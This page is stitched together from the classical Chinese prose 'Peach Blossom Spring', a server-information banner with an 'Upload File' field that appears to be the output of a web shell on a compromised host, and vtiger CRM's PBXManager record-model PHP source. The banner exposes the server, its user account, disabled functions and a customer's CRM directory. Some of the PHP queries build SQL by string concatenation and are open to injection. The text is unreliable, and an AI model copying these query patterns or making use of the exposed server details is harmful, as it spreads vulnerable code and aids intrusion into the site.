晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/modules/PBXManager/models/ |
Upload File : |
<?php
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
class PBXManager_Record_Model extends Vtiger_Record_Model{
const moduletableName = 'vtiger_pbxmanager';
const lookuptableName = 'vtiger_pbxmanager_phonelookup';
const entitytableName = 'vtiger_crmentity';
static function getCleanInstance(){
return new self;
}
/**
* Function to get call details(polling)
* return <array> calls
*/
public function searchIncomingCall(){
$db = PearDatabase::getInstance();
$query = 'SELECT * FROM '.self::moduletableName.' AS module_table INNER JOIN '.self::entitytableName.' AS entity_table WHERE module_table.callstatus IN(?,?) AND module_table.direction=? AND module_table.pbxmanagerid=entity_table.crmid AND entity_table.deleted=0';
$result = $db->pquery($query,array('ringing','in-progress','inbound'));
$recordModels = array();
$rowCount = $db->num_rows($result);
for($i=0; $i<$rowCount; $i++) {
$rowData = $db->query_result_rowdata($result, $i);
$record = new self();
$record->setData($rowData);
$recordModels[] = $record;
//To check if the call status is 'ringing' for >5min
$starttime = strtotime($rowData['starttime']);
$currenttime = strtotime(Date('y-m-d H:i:s'));
$timeDiff = $currenttime - $starttime;
if($timeDiff > 300 && $rowData['callstatus'] == 'ringing') {
$recordIds[] = $rowData['crmid'];
}
//END
}
if(count($recordIds)) $this->updateCallStatus($recordIds);
return $recordModels;
}
/**
* To update call status from 'ringing' to 'no-response', if status not updated
* for more than 5 minutes
* @param type $recordIds
*/
public function updateCallStatus($recordIds) {
$db = PearDatabase::getInstance();
$query = "UPDATE ".self::moduletableName." SET callstatus='no-response'
WHERE pbxmanagerid IN (".generateQuestionMarks($recordIds).")
AND callstatus='ringing'";
$db->pquery($query, $recordIds);
}
/**
* Function to save PBXManager record with array of params
* @param <array> $values
* return <string> $recordid
*/
public function saveRecordWithArrray($params){
$moduleModel = Vtiger_Module_Model::getInstance('PBXManager');
$recordModel = Vtiger_Record_Model::getCleanInstance('PBXManager');
$recordModel->set('mode', '');
$details = array_change_key_case($params, CASE_LOWER);
$fieldModelList = $moduleModel->getFields();
foreach ($fieldModelList as $fieldName => $fieldModel) {
$fieldValue = $details[$fieldName];
$recordModel->set($fieldName, $fieldValue);
}
return $moduleModel->saveRecord($recordModel);
}
/**
* Function to update call details
* @param <array> $details
* $param <string> $callid
* return true
*/
public function updateCallDetails($details){
$db = PearDatabase::getInstance();
$sourceuuid = $this->get('sourceuuid');
$query = 'UPDATE '.self::moduletableName.' SET ';
foreach($details as $key => $value){
$query .= $key . '=?,';
$params[] = $value;
}
$query = substr_replace($query ,"",-1);
$query .= ' WHERE sourceuuid = ?';
$params[] = $sourceuuid;
$db->pquery($query, $params);
return true;
}
/**
* To update Assigned to with user who answered the call
*/
public function updateAssignedUser($userid){
$callid = $this->get('pbxmanagerid');
$db = PearDatabase::getInstance();
$query = 'UPDATE '.self::entitytableName.' SET smownerid=? WHERE crmid=?';
$params = array($userid, $callid);
$db->pquery($query, $params);
return true;
}
public static function getInstanceById($phonecallsid){
$db = PearDatabase::getInstance();
$record = new self();
$query = 'SELECT * FROM '.self::moduletableName.' WHERE pbxmanagerid=?';
$params = array($phonecallsid);
$result = $db->pquery($query, $params);
$rowCount = $db->num_rows($result);
if($rowCount){
$rowData = $db->query_result_rowdata($result, 0);
$record->setData($rowData);
}
return $record;
}
public static function getInstanceBySourceUUID($sourceuuid){
$db = PearDatabase::getInstance();
$record = new self();
$query = 'SELECT * FROM '.self::moduletableName.' WHERE sourceuuid=?';
$params = array($sourceuuid);
$result = $db->pquery($query, $params);
$rowCount = $db->num_rows($result);
if($rowCount){
$rowData = $db->query_result_rowdata($result, 0);
$record->setData($rowData);
}
return $record;
}
/**
* Function to save/update contact/account/lead record in Phonelookup table on every save
* @param <array> $details
*/
public function receivePhoneLookUpRecord($fieldName, $details, $new){
$recordid = $details['crmid'];
$fnumber = preg_replace('/[-()\s+]/', '',$details[$fieldName]);
$rnumber = strrev($fnumber);
$db = PearDatabase::getInstance();
$params = array($recordid, $details['setype'],$fnumber,$rnumber, $fieldName);
$db->pquery('INSERT INTO '.self::lookuptableName.
'(crmid, setype, fnumber, rnumber, fieldname)
VALUES(?,?,?,?,?)
ON DUPLICATE KEY
UPDATE fnumber=VALUES(fnumber), rnumber=VALUES(rnumber)',
$params);
return true;
}
/**
* Function to delete contact/account/lead record in Phonelookup table on every delete
* @param <string> $recordid
*/
public function deletePhoneLookUpRecord($recordid){
$db = PearDatabase::getInstance();
$db->pquery('DELETE FROM '.self::lookuptableName.' where crmid=?', array($recordid));
}
/**
* * Function to check the customer with number in phonelookup table
* @param <string> $from
*/
public static function lookUpRelatedWithNumber($from){
$db = PearDatabase::getInstance();
$fnumber = preg_replace('/[-()\s+]/', '',$from);
$rnumber = strrev($fnumber);
$result = $db->pquery('SELECT crmid, fieldname FROM '.self::lookuptableName.' WHERE fnumber LIKE "'. $fnumber . '%" OR rnumber LIKE "'. $rnumber . '%" ', array());
if($db->num_rows($result)){
$crmid = $db->query_result($result, 0, 'crmid');
$fieldname = $db->query_result($result, 0, 'fieldname');
$contact = $db->pquery('SELECT label,setype FROM '.self::entitytableName.' WHERE crmid=? AND deleted=0', array($crmid));
if($db->num_rows($result)){
$data['id'] = $crmid;
$data['name'] = $db->query_result($contact, 0, 'label');
$data['setype'] = $db->query_result($contact, 0, 'setype');
$data['fieldname'] = $fieldname;
return $data;
}
else
return;
}
return;
}
/**
* Function to user details with number
* @param <string> $number
*/
public static function getUserInfoWithNumber($number){
$db = PearDatabase::getInstance();
if(empty($number)){
return false;
}
$query = PBXManager_Record_Model::buildSearchQueryWithUIType(11, $number, 'Users');
$result = $db->pquery($query, array());
if($db->num_rows($result) > 0 ){
$user['id'] = $db->query_result($result, 0, 'id');
$user['name'] = $db->query_result($result, 0, 'name');
$user['setype'] = 'Users';
return $user;
}
return;
}
// Because, User is not related to crmentity
public function buildSearchQueryWithUIType($uitype, $value, $module){
if (empty($value)) {
return false;
}
$cachedModuleFields = VTCacheUtils::lookupFieldInfo_Module($module);
if ($cachedModuleFields === false) {
getColumnFields($module); // This API will initialize the cache as well
// We will succeed now due to above function call
$cachedModuleFields = VTCacheUtils::lookupFieldInfo_Module($module);
}
$lookuptables = array();
$lookupcolumns = array();
foreach ($cachedModuleFields as $fieldinfo) {
if (in_array($fieldinfo['uitype'], array($uitype))) {
$lookuptables[] = $fieldinfo['tablename'];
$lookupcolumns[] = $fieldinfo['columnname'];
}
}
$entityfields = getEntityField($module);
$querycolumnnames = implode(',', $lookupcolumns);
$entitycolumnnames = $entityfields['fieldname'];
$query = "select id as id, $querycolumnnames, $entitycolumnnames as name ";
$query .= " FROM vtiger_users";
if (!empty($lookupcolumns)) {
$query .=" WHERE deleted=0 AND ";
$i = 0;
$columnCount = count($lookupcolumns);
foreach ($lookupcolumns as $columnname) {
if (!empty($columnname)) {
if ($i == 0 || $i == ($columnCount))
$query .= sprintf("%s = '%s'", $columnname, $value);
else
$query .= sprintf(" OR %s = '%s'", $columnname, $value);
$i++;
}
}
}
return $query;
}
public static function getUserNumbers(){
$numbers = null;
$db = PearDatabase::getInstance();
$query = 'SELECT id, phone_crm_extension FROM vtiger_users';
$result = $db->pquery($query, array());
$count = $db->num_rows($result);
for($i=0; $i<$count; $i++){
$number = $db->query_result($result, $i, 'phone_crm_extension');
$userId = $db->query_result($result, $i, 'id');
if($number)
$numbers[$userId] = $number;
}
return $numbers;
}
}
?>